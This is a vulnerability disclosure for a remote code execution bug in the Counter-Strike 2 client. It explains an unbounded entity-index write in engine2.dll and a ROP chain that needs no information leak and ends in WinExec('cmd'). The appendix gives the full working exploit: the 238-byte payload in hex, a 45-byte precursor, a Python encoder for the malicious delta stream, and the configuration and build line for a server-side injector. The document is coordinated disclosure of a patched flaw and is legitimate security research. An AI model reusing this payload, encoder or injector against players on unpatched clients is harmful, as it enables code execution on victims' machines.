Counter-Strike 2: Remote Code Execution in the Game Client via a Single Entity Message
A game server starts code in the CS2 client with one 238-byte entity message. Defect, leak-free chain, evidence, payload and fix.

HackerOne #4082453. Fixed in CS2 1.41.9.1 of 15 October 2026. Short version as an advisory: TP-2026-170.
Summary
| Product | Counter-Strike 2, Source 2, module engine2 (engine2.dll) |
| Defect | missing upper bound on the accumulated entity index in the trailing index list of svc_PacketEntities (network message 55) |
| Class | CWE-787 out-of-bounds write. Primitive CWE-123 (write-what-where), root CWE-129 (unchecked array index) |
| Attacker | operator of a game server |
| Victim action | joining the server, the ordinary action of any player (server browser, steam://connect, connect <ip>). Nothing after that |
| Effect | code execution in the context of cs2.exe, in the user's session |
| Payload | 238 bytes, static, in an ordinary entity update. No information leak, no second message, no back channel, no download |
| Evidence | cmd.exe as a child process of cs2.exe in 7 of 7 sessions, about 30 s after client start |
| Affected (measured) | 1.41.8.5 to 1.41.9.0, Windows |
| Fixed | 1.41.9.1 (ClientVersion 2000933, SourceRevision 11133601), 15 October 2026 |
| CVSS v4.0 | 9.4 Critical, AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
No source code was available. Everything comes from the shipped binaries and from measurements in turingpoint's lab: our own dedicated server, our own client, a second Steam account of our own. Nothing was tested against Valve infrastructure, public servers or third parties.
One take, 127 seconds: client from Steam, joining the server like any other. On the left a watch for notepad.exe, on the right the attacker's injector. At the end Notepad.exe sits there with PID 20212 and parent PID 26860, this session's cs2.exe.
Affected Builds
Build B (all Windows results)
PatchVersion 1.41.8.8, buildid 25687242
engine2.dll SHA1 27f615363f6130ebee8ff5fb4584180be377f690
SHA256 d51f38d013adc2e97448116e0fe3bddb31cf2340a18c353d3ce46aaba520d712
tier0.dll SHA1 5716b5b2e09aa0aa351690b35a14199c6ada105a (provides the pivot)
dbghelp.dll SHA1 4ef5d229709e40f3f84e46c3a28341eadbd1a044 (provides all other gadgets)
Version 6.12.0002.633, build date 2010-02-01, 1.558.912 Byte
shipped in game\bin\win64, NOT the system copy
Build A (calibration of the defect)
ClientVersion 2000918 / 2000919, PatchVersion 1.41.8.5 / 1.41.8.6
engine2.dll SHA256 b63b2ab7cae8115e9bf05562e3289e2aa9e65d3798633cc160b653bc55ee6b52
The chain also ran unchanged on 1.41.8.9 (buildid 25738536, engine2.dll SHA1 4280438a71eef8904c49de4c25017ae1a58f8b9d) and on 1.41.9.0 (ClientVersion 2000930). No address had to be recalibrated: .text of engine2.dll is byte-identical at the write site, dbghelp.dll is unchanged, and the two tier0 offsets hold.
The Defect
The entity decoder reads an index list at the end of entity_data. Each element is a delta that is added to a running index. The index is used to set a bit in a bit field. The only check in the whole path is count > 0.
8cadd: TEST R10B,0x30
8cae9: CALL 0x180403070 ; ReadUBitVar -> count
8caf1: TEST R10D,R10D ; the ONLY check: count > 0
8caf4: JLE 0x18008cc11
8cafd: MOV R14D,0xffffffff ; running index starts at -1
--- loop ---
8cbcb: AND R10D,0x3f
8cbcf: TEST R10B,0x30
8cbdb: CALL 0x180403070 ; ReadUBitVar -> Delta
8cbe3: ADD R14D,R10D ; index += delta <-- NO BOUND
8cbeb: MOVSXD RDX,R14D ; sign extension
8cbf1: SAR RDX,0x5
8cbfa: OR dword ptr [R15+RDX*0x4+0xe0],EAX ; *** WRITE ***
As C:
*(uint32_t *)(base + 4 * (idx >> 5)) |= 1u << (idx & 31);
Because the shift is arithmetic and the index is sign-extended, the byte offset ranges from -0x10000000 to +0x0FFFFFFC, that is ±256 MiB around the write base.
Why This Is a Defect and Not Intent
The same bound is present at the sibling sites of the same translation unit, each directly after the same delta addition:
Windows: 28 sites compare against 0x4000, four of them with a memory operand.
One of them is in exactly this function:
8c85b: cmp dword ptr [r15+0x34], 0x4000
0x4000 = 16384 = MAX_NETWORKABLE_ENTITY_COUNT. Present many times, left out once.
The Calibration
ReadUBitVar reads 6 bits: 4 value bits and 2 selector bits sel. sel = 1 reads 4 extra bits, sel = 2 reads 8, sel = 3 reads 28 and thereby yields the full 32-bit delta. Every pair of dword and bit is therefore reachable with a single delta, negative ones included.
Measured with a breakpoint on the write instruction, varying one payload bit at a time:
| Payload | Index | Delta |
|---|---|---|
000000 | -1 | 0 |
010000 | 3 | +4 |
020000 | 7 | +8 |
040000 | -1 | 0 (sel=1, extra bits zero) |
080000 | -1 | 0 (sel=2, extra bits zero) |
000100 | -1 | 0 (bit is never read with sel=0) |
Model: payload bit N lands on delta bit N+2, the sel bits sit on payload bits 2 and 3. The cross-check was written down before the run: payload 0c 10 00 00 gives delta 4096, index 4095, hence dword=127, bit=31.
W1 dword=127 bit=31 (measured)
The prediction is met to the bit. Negative offsets follow from the instruction form, MOVSXD plus arithmetic SAR, but were not read out: for that the probe would have had to resolve the target address against the stack mapping.
Limits of the Primitive
It can only set bits, never clear them. Every 1 that is written stays. Arbitrary values can therefore only be placed in memory that was zero before, and existing pointers can only be bent to addresses whose bit pattern is a superset of the old one.
What the Write Reaches
The object being written lies on the stack (sub $0x920,%rsp, CEntityReadInfo in the handler's frame). Saved return addresses are within reach. Measured on the live, unmodified Windows client (cdb breakpoint on engine2+0x8cbfa, window ±8 KiB):
Module offset Distance to write base
+0x2233c5 +3352
+0x22f521 +3544
+0x22963c +3624
+0x2134c6 +4600
+0x214569 +5480
+0x214829 +5528
+0x20fa7f +6120
+0x20f8b0 +6248
+0x20f8b0 +6272
Nine saved return addresses. The distances are stack-relative and therefore independent of ASLR.
Hardening on This Path
| Protection | engine2.dll |
|---|---|
| NX / DEP | present |
| ASLR | present (HIGH_ENTROPY_VA) |
| Control flow integrity | missing, GuardCFFunctionTable = 0 |
| Stack guard in the path | missing: zero references to the security cookie in 0x8b400 to 0x8cc80 |
The process also carries an anonymous RWX mapping of 10.0 MiB. In practice only ASLR stands between the primitive and control data.
Delivery
CSVCMsg_PacketEntities is network message 55 from netmessages.proto and a pure server-to-client message. The client processes it on the datagram path 64 times per second. The server changes three things in an update it would send anyway:
- Field 2 (
updated_entries) becomes 0. - Field 19 is renamed into an unknown field (tag
9a 01becomesa2 06) and is thereby absent for the client. - Field 7 (
entity_data) is extended and carries the payload from offset 0.
Field 7 is naturally 55 to 69 bytes long (300 samples, 42 in individual rounds). The server builds the message itself and is not bound by that:
GROW: mt=55 len 99->358, Feld 7 42->300, Paket 147->407 Byte
The client accepted every such message and stayed connected. Measured rate: 65 rewritten entity updates per second.
In the lab the attacker server was Valve's own Linux dedicated server from SteamCMD (app 730), unmodified, plus an LD_PRELOAD library on the server that rewrites outgoing messages of type 55. No server binary was patched, and no file was touched on the client. A real malicious server would generate the bytes directly. Server start:
./cs2 -dedicated -insecure -port 27021 +sv_lan 1 \
+sv_hibernate_when_empty 0 +sv_timeout 900 +map de_dust2 \
+net_use_packet_compression 0 +bot_quota 2 +bot_quota_mode fill \
+mp_autokick 0 +mp_ignore_round_win_conditions 1 \
+mp_warmuptime 1 +mp_warmup_end +mp_freezetime 0 \
+bot_difficulty 3 +mp_roundtime 60 \
+mp_limitteams 0 +mp_autoteambalance 0 +bot_chatter off
+net_use_packet_compression 0 so that the payload does not have to be written through LZ4. Two bots keep entities moving so that the server sends updates continuously. After the first client packet the injector waits until signon has passed untouched. None of these switches is needed for the defect.
Windows: The Leak-Free Chain
Valve's program requires a started process, delivered over the network, without information from the target machine and without a debugger. The chain has three steps. None of them uses knowledge about the victim's address space.
Step 1: Control Flow without Touching ASLR
The write does not have to hit a return address. On entry, ReadPacketEntities opens a profiling scope, saves the completion callback into its own frame and calls it at the end of every pass:
+0x8b6c4 call tier0!VProfScopeHelper<0,0>::EnterScopeInternalBudgetFlags
+0x8b6ce mov r14, rax
+0x8b6d1 mov [rsp+0x50], rax ; callback saved into the frame
...
+0x8cbfa or [r15+rdx*4+0xe0], eax ; the write
...
+0x8cc0c mov r14, [rsp+0x50] ; callback reloaded
+0x8cc55 call r14 ; and called, on every path
In the normal state the callback is tier0+0x86a0, a bare ret 0 that 67 of the 2625 exports of tier0 point to. [rsp+0x50] sits at dword -764 relative to the write base.
Redirecting it to tier0+0xbffd requires the bits of 0xbffd ^ 0x86a0 = 0x395d: nine bits, the same on every machine. Both offsets are below 0x10000 and module bases are 64 KiB aligned, so base | off == base + off holds. The module base is never needed.
tier0+0xbffd is mov eax,-1 ; mov rbx,[rsp+0x428] ; add rsp,0x410 ; pop rdi ; ret. After call r14 this moves rsp by 1040 bytes to dword -524, into the middle of a surveyed run of zero qwords. There the OR primitive places arbitrary values, and there sits the rest of the chain.
Step 2: The Module without HIGH_ENTROPY_VA
cs2.exe loads 170 modules. One of them is at the same address in every measurement:
dbghelp.dll game\bin\win64\dbghelp.dll (not %WINDIR%\System32)
Version 6.12.0002.633, build date 2010-02-01
ImageBase 0x3000000
SizeOfImage 0x196000
DllCharacteristics 0x0140
DYNAMIC_BASE yes
HIGH_ENTROPY_VA no
GUARD_CF no
Without HIGH_ENTROPY_VA the loader stays in the lower address space. Measured, client without switches and without a server connection:
Boot 2026-10-03 07:01:59 dbghelp = 0x7fff0000
Restart 1 07:06:01 dbghelp = 0x7fff0000
Restart 2 07:09:37 dbghelp = 0x7fff0000
11 of 11 documented client starts across 4 boots: 0x7fff0000. Across the same restarts, libfontconfig-1, libglib-2.0-0 and libmpg123-0 moved every time.
The base depends on the process, not only on the boot: within the same boot the same file sits at 0x7fff0000 in the client and at 0x71ee0000 in a bare PowerShell process. Placement follows what is already mapped in the process, and the client's module layout pins it down.
The module is loaded in the ordinary client, in the main menu, without switches (161 modules, dbghelp.dll from game\bin\win64 at 0x7fff0000). tier0.dll loads it at runtime through its own CDbgHelpFunctionsLoader. Presence and location are therefore not a precondition that a victim would first have to meet.
Step 3: The Module Brings Its Own Loader
dbghelp.dll imports no function that starts a process. Among 187 imports there is no WinExec, no CreateProcess*, no ShellExecute*, no system. At 0x80070aa0, however, it contains a helper function that loads kernel32.dll from a hard-wired name and fills a table belonging to the caller:
0x80070aa0 mov [rsp+8], rcx ; caller's table pointer
0x80070aa5 sub rsp, 0x28
0x80070aa9 lea rcx, [rip-0x651c8] ; -> 0x8000b8e8 = "kernel32.dll"
0x80070ab0 call [LoadLibraryA]
0x80070ab6 mov rcx, [rsp+0x30]
0x80070abb mov [rcx+0x18], rax ; kernel32 base lands at table+0x18
0x80070ac4 cmp [rax+0x18], 0
0x80070ac9 je 0x80070c43 ; clean exit on failure
0x80070acf lea rdx, [rip-0x61a96] ; "OpenThread", first of twelve names
0x80070adb mov rcx, [rax+0x18] ; <-- ENTRY: rdx belongs to the attacker
0x80070adf call [GetProcAddress]
0x80070ae5 mov rcx, [rsp+0x30]
0x80070aea mov [rcx+0x20], rax ; result lands at table+0x20
... eleven more names ...
0x80070c43 xor eax, eax
0x80070c45 add rsp, 0x28
0x80070c49 ret ; clean return into the chain
The DLL name is hard-wired, so the chain does not have to know where kernel32 is. Entering at 0x80070adb instead of at the start keeps rdx. The function then resolves the export named there, here WinExec, and stores the pointer at table+0x20.
The table pointer is 0x80156b10, so that table+0x20 is exactly 0x80156b30: the fixed address that the gadget at 0x80094a15 reads from (mov rax,[rip+0xc2114] ; add rsp,0xb8 ; ret). The helper function stores the resolved function pointer where the next gadget picks it up. No copying, no second write.
The Chain
238 bytes in field 7 of one svc_PacketEntities message.
| Step | Gadget | Instructions | Effect |
|---|---|---|---|
| 0 | tier0+0x86a0 becomes +0xbffd | pivot | 9 bits, base-free, rsp to dword -524 |
| 1 | 0x80015fee + 0x80020622 | pop rax ; ret + mov rcx,[rsp+0x50] ; mov [rcx],rax ; ... ; ret | "WinExec\0" to 0x80150008 |
| 2 | the same pair | "cmd\0" to 0x80150000 | |
| 3 | 0x80015fee, 0x800be81b | pop rax, pop rcx | rax, rcx = table pointer 0x80156b10 |
| 4 | 0x80070aa0 | the helper function | loads kernel32, base to table+0x18 |
| 5 | 0x80015fee, 0x800d50c9 | pop rax, pop rdx | rdx = &"WinExec" |
| 6 | 0x80070adb | helper function, middle | GetProcAddress(kernel32,"WinExec") to table+0x20 |
| 7 | 0x80015fee, 0x800be81b | pop rax, pop rcx | rcx = &"cmd" |
| 8 | 0x80090001 | ret | 16-byte stack alignment for the call |
| 9 | 0x80094a15 | mov rax,[0x80156b30] ; add rsp,0xb8 ; ret | rax = WinExec |
| 10 | 0x800e7c9f | jmp rax | WinExec("cmd") |
Helper gadget: 0x800172be (add rsp,0x18 ; ret) skips the data slots that the write gadget consumes.
Two register loaders have a memory side effect and only work when rax points to writable memory:
0x800be81b pop rcx ; and byte ptr [rax-0x7f], cl ; ret
0x800d50c9 pop rdx ; dec dword ptr [rax+0x63] ; ret
The chain therefore loads rax with a .data address before each of the two.
The chain enters two functions (step 4 and step 10), and Win64 requires 16-byte alignment at both. The number of slots in between is odd, parity flips on the way, and the bare ret in step 8 corrects it. Two earlier versions, one without the correction and one with the correction at the start of the chain, started no process.
The chain occupies dword -524 to -382 below the write base. The 234-byte version before the alignment slot was 282 single-bit writes.
Every Address in the Payload
| Element | Address | Origin |
|---|---|---|
| Pivot | 0xbffd ^ 0x86a0 | two tier0 offsets below 0x10000, base-free |
pop rax ; ret | 0x80015fee | dbghelp + 0x25fee |
pop rcx ; and byte [rax-0x7f],cl ; ret | 0x800be81b | dbghelp + 0xce81b |
pop rdx ; dec dword [rax+0x63] ; ret | 0x800d50c9 | dbghelp + 0xe50c9 |
| Write gadget | 0x80020622 | dbghelp + 0x30622 |
add rsp,0x18 ; ret | 0x800172be | dbghelp + 0x272be |
ret (alignment) | 0x80090001 | dbghelp + 0xa0001 |
| kernel32 helper function | 0x80070aa0 | dbghelp + 0x80aa0 |
| Helper function, middle | 0x80070adb | dbghelp + 0x80adb |
mov rax,[fixed] | 0x80094a15 | dbghelp + 0xa4a15 |
jmp rax | 0x800e7c9f | dbghelp + 0xf7c9f |
| String storage | 0x80150000, 0x80150008 | dbghelp .data |
| Table pointer | 0x80156b10 | dbghelp .data |
| two strings | none | literals in the payload |
No module enumeration, no read primitive, no second message, no back channel. The payload is fixed before the victim is contacted.
Evidence
In Stages
Each row is a separate run against a freshly started, unmodified client. No debugger, no -condebug, no probe. Only the process list (WMI, 400 ms interval) and the WER LocalDump are observed. Stages 1 to 3 end with a jump to 0xDEADBEE0, an address that exists only in the payload.
| Stage | Size | What it adds | Dump | Result |
|---|---|---|---|---|
| 1 | 167 B | both .data writes, registers, jump | cs2.exe.28872.dmp | ExceptionAddress=0xDEADBEE0, Param[0]=8 |
| Read-back | 79 B | do the writes land byte-exact? | cs2.exe.23396.dmp | ExceptionAddress=0x646d63 |
| 2 | 167 B | helper function: LoadLibraryA + 12 times GetProcAddress | cs2.exe.32712.dmp | ExceptionAddress=0xDEADBEE0, Param[0]=8 |
| 3 | 206 B | GetProcAddress with our own name | cs2.exe.14504.dmp | ExceptionAddress=0xDEADBEE0, Param[0]=8 |
| full | 238 B | jmp rax to WinExec("cmd") | cs2.exe.6164.dmp | cmd.exe started |
The read-back stage writes 0x646d63 ("cmd\0" as a qword) to 0x80156b30, loads it back through the fixed-address gadget and jumps there. The fault address is the memory content. This shows that the write lands byte-exact. It is not a read of arbitrary memory.
The Full Chain
cmd.exe PID 29988 ParentProcessId 6164 Session 1 CommandLine = [cmd]
cs2.exe PID 6164 -> cs2.exe.6164.dmp
ExceptionCode = 0xC0000005
ExceptionAddress = 0x0000000000000000
Param[0] = 8 (execute)
The parent PID is exactly the cs2.exe of the session. The command line is literally cmd, not C:\WINDOWS\system32\cmd.exe, that is the string the chain itself wrote into dbghelp .data. The fault at address 0 with access type execute is the return behind WinExec into a zero slot. That is the documented end of this payload: the client crashes after the process start.
Reliability
Seven independent sessions, each with a fresh server, a fresh relay and a freshly started client:
| Session | cmd.exe | Parent cs2.exe |
|---|---|---|
| 1 | 29988 | 6164 |
| 2 | 13212 | 2692 |
| 3 | 11120 | 29840 |
| 4 | 30408 | 24672 |
| 5 | 23628 | 3932 |
| 6 | 12188 | 28216 |
| 7 | 32064 | 32588 |
7 of 7, 95% Wilson interval 0.65 to 1.00. In every session the process appeared with the first rewritten message. The two clocks involved agree to within 0.5 s, and we do not claim a smaller interval.
About 30 seconds pass from client start to the foreign process, most of it map loading time. The client receives entity updates no later than 20 s after its first packet (3 of 3 sessions with a 20 s injector hold: first contact to process 19 s each).
Single-shot measurements (the injector patches exactly one message) were run with two precursors, not with the 238-byte chain: a 76-byte chain with locally read addresses hit 4 of 5 (Wilson 0.38 to 0.96), the 45-byte write chain without target addresses 2 of 5 (0.12 to 0.77). A miss is silent: no process, no crash dump, cs2.exe stays connected, traffic continues. A miss costs the attacker nothing, and the server has 65 attempts per second.
An early figure of 1 hit in 43 shots comes from runs on naturally grown field lengths and with a memory probe on the client. Since the server extends field 7 to a fixed size, the message is identical in every shot. That the fixed field size is the cause of the improvement is an assumption, not a measurement.
A Run with Nothing on the Target Machine
The 238-byte payload was generated at 12:03 UTC. After that the Windows machine was rebooted, and the payload stayed unchanged. After the reboot the ordinary sequence followed: log in to Steam, start the client, join the server. Nothing of ours was on the machine: no debugger, no -condebug, no observer process, no scheduled task, no dump collector.
Server Client 2 'jan' ... -> SIGNONSTATE_FULL
Client 2 'jan' SIGNONSTATE_FULL -> SIGNONSTATE_NONE
SV: Dropped client 'jan' from server(29): NETWORK_DISCONNECT_TIMEDOUT
Injector 127 rewritten messages, 238 bytes each at content offset 0
GROW: mt=55 len 127->363, Feld 7 65->300, Paket 177->414 Byte
cmd.exe opened on the machine. The payload was built under one boot and fired under another without changing a byte. Because the chain hard-codes dbghelp addresses, the start also confirms 0x7fff0000 in the new boot.
Preconditions and Limits
| Precondition | Status |
|---|---|
| Client is in the game and receives entity updates | no later than 20 s after its first packet |
dbghelp.dll loaded | not a precondition, loaded in the bare client in the main menu |
dbghelp.dll at 0x7fff0000 | 11 of 11 client starts, 4 boots, one machine |
| Profiling in its normal state | the callback in [rsp+0x50] is then tier0+0x86a0 |
Reach
Server to client only. The engine separates the message table by direction. Clients may send the IDs 20, 21, 22, 23, 25, 27, 28, 30, 31, 33, 35, 36, 37 and 75. CSVCMsg_PacketEntities (55) is in the server block. Another player cannot send it. An unmodified server would itself have to send an index of 16384 or above, which would be a second, server-side defect. Matchmaking runs on Valve servers and is not an entry point.
The attacker needs a community server. For a listed server that means a Game Server Login Token, bound to a Steam account.
The Fix
1.41.9.1 (ClientVersion 2000933, SourceRevision 11133601, built 15 October 2026 10:15:52) against 1.41.9.0 (2000930, 11106093, 8 October 2026).
engine2.dll 1.41.9.1 SHA256 6456df18d8f954394024c2c07da8c848df15a5ace74ce7390d78970ceb39ee21
Before, write site RVA 0x8cbfa:
18008cbdb: call 0x180403070 ; ReadUBitVar -> Delta
18008cbe0: mov r10d,eax
18008cbe3: add r14d,r10d ; index += delta, no bound
18008cbeb: movsxd rdx,r14d
18008cbf1: sar rdx,0x5
18008cbfa: or DWORD PTR [r15+rdx*4+0xe0],eax
After:
18008cbd3: test r10d,r10d
18008cbd6: je 0x18008cc18 ; delta == 0 aborts
18008cbd8: mov ecx,DWORD PTR [rbp+0x848]
18008cbde: mov eax,0x3fff
18008cbe3: sub eax,ecx ; 0x3fff - index
18008cbe5: cmp r10d,eax
18008cbe8: ja 0x18008cc18 ; delta too large: abort
18008cbea: add ecx,r10d
18008cc06: or DWORD PTR [r15+rdx*4+0xe0],eax
The bound is computed as 0x3fff - index and is therefore overflow-safe, the comparison is unsigned, and both delta paths pass through it. The running index moves from the register into the frame ([rbp+0x848]), so the bound also holds across loop iterations. Checked in two ways:
- A second fresh download from the public branch, byte-identical (manifests 2347773 = 5513399157532729905, 2347771 = 8766757721818354077, 2347770 = 2520908610273941189).
- Jump target analysis across the whole module: in RVA
0x8cbeato0x8cc0d, that is between the bound and the write instruction, not a single jump target lands. The incoming edges all hit the head of the check (0x8cb1fand0x8cbc3, both to0x8cbd3). The first of them is the bit reader's underflow path: it setsr10d = 0and thereby falls into the abort.
The check is static. We did not run the chain against 1.41.9.1.
Appendix: Payloads and Tools
The 238-Byte Payload as Fired
The complete leak-free chain for build 1.41.8.8 (engine2.dll SHA1 27f615…), byte for byte the version of the seven-session series. It belongs at content offset 0 in field 7 of a svc_PacketEntities message whose field 2 is 0 and whose field 19 is absent. 238 bytes:
6e448ca0ffff421008c21004f47700000481100441100481203c910481200883
100c412004824014411008c2100801112c04111c8ee811044120084310080fa5
8d202c920481100441100481203c910444200881101043b009410487237a0441
1008c21004c213ad202c920481100441100481203c951081200482202c910442
70084110040253091108422008c262892008451034920481100441100481203c
910d435008821030943482b04412088110084211048d68110442100441100482
f054420482100882b0441208c121044110084c3482b04402c5c0442208853008
03137a0541100c431004c110040c
What it does, slot by slot, is described above under "The Chain". Every address in it comes from dbghelp.dll (SHA1 4ef5d229…) or from two tier0 offsets below 0x10000. On a patched client (1.41.9.1 and newer) it goes nowhere: the bound ends the index loop before the first write takes place.
The 45-Byte Write Chain
The precursor used to demonstrate leak-free delivery without a process start. It writes one qword to a fixed address in dbghelp .data and ends in a fault at address 0:
9fc408faff2f0481200c41507f0700c03008483349100844100846500481201844100882b110447038e18a202c
The Encoder: From Target Bits to the Delta Stream
The core of it all. It takes a set of element indices and produces the ReadUBitVar delta stream that the decoder reads as the index list. An element index is dword * 32 + bit, so the byte offset to the write base is dword * 4.
class BitWriter:
def __init__(self):
self.bits = []
def write(self, val, n):
for i in range(n):
self.bits.append((val >> i) & 1)
def tobytes(self, minlen=4):
nb = max((len(self.bits) + 7) // 8, minlen)
b = bytearray(nb)
for i, bit in enumerate(self.bits):
b[i // 8] |= bit << (i % 8)
return bytes(b)
def write_ubitvar(w, value):
"""6-bit prefix: 4 value bits + 2 selector bits, then 0/4/8/28 extra bits."""
nib, extra = value & 0xF, value >> 4
if extra == 0: sel, n = 0, 0
elif extra < 16: sel, n = 1, 4
elif extra < 256: sel, n = 2, 8
else: sel, n = 3, 28
w.write((sel << 4) | nib, 6)
if n:
w.write(extra, n)
def encode(targets):
"""targets: element indices. The running index starts at -1."""
t = sorted(set(targets))
w = BitWriter()
write_ubitvar(w, len(t)) # count, the only checked quantity
cur = -1
for e in t:
write_ubitvar(w, (e - cur) & 0xFFFFFFFF)
cur = e
return w.tobytes()
The cross-check from the section "The Calibration" can be recomputed with it. encode([4095]) yields 01 0c 10 00 00: delta 4096, running index -1 + 4096 = 4095, hence dword = 127, bit = 31. The first byte carries the element count, which during calibration still came from the message's original stream. The four bytes after it are exactly the payload 0c 10 00 00 with which the prediction was met to the bit back then.
sel = 3 reads 28 extra bits and thereby covers the full 32-bit range. Negative deltas can therefore be represented just like positive ones, and every pair of dword and bit is reachable with a single delta.
This is what the pivot looks like as a target set. It sits in the callback slot at dword -764 and has to turn tier0+0x86a0 into the address tier0+0xbffd, that is set the bits of 0xbffd ^ 0x86a0 = 0x395d:
# 0x395d = 0b11100101011101 -> set bits 0, 2, 3, 4, 6, 8, 11, 12, 13
t = {-764 * 32 + b for b in (0, 2, 3, 4, 6, 8, 11, 12, 13)}
Nine elements, nine bits, the same on every machine. The rest of the chain starts at dword -524 and consists of full qwords in previously zero memory, where every set bit costs an element of its own.
The Injector
An LD_PRELOAD library on the server that rewrites outgoing messages of type 55 before they go on the wire. It is controlled through environment variables:
INJ_ROH_TYP=55 # network message type svc_PacketEntities
INJ_ROH_FIND=10??1801 # entity header that gets rewritten (?? = wildcard)
INJ_ROH_REPL=1000 # -> updated_entries = 0
INJ_ROH_FIND3=9a0104 # tag of field 19
INJ_ROH_REPL3=a206 # -> unknown field, absent for the client
INJ_ROH_F3=7:C:0:<payload hex> # field 7, grow, offset 0, our bytes
INJ_ROH_LENMIN=234 # only touch messages whose field 7
INJ_ROH_LENMAX=400 # falls within this length window
INJ_ROH_GROW=300 # target size of field 7 in bytes
INJ_ROH_MAX=2000000 # upper limit of patched messages
INJ_ROH_AFTER=45 # only n seconds after the first client packet
INJ_ROH_AFTER matters: the signon handshake has to pass untouched, otherwise the connection never comes up. INJ_ROH_MAX=1 switches to single shot, which is how the hit rate per message was measured.
The start script sets these variables and attaches them to the dedicated server. It was invoked like this:
./start_p1.sh run1 "$(cat payload_calc.hex)" 2000000 234 400 2 300
The positional parameters are, in order: run name, payload as hex, INJ_ROH_MAX, LENMIN, LENMAX, number of bots, GROW.
Every patched message is in the log:
GROW: mt=55 len 99->358, Feld 7 42->300, Paket 147->407 Byte
It is built with:
gcc -shared -fPIC -O2 -o svcinject.so svcinject.c -ldl -llz4 -lpthread
-llz4 because the library has to know the compression path. In the lab the server ran with +net_use_packet_compression 0 so that the payload does not have to be written through LZ4.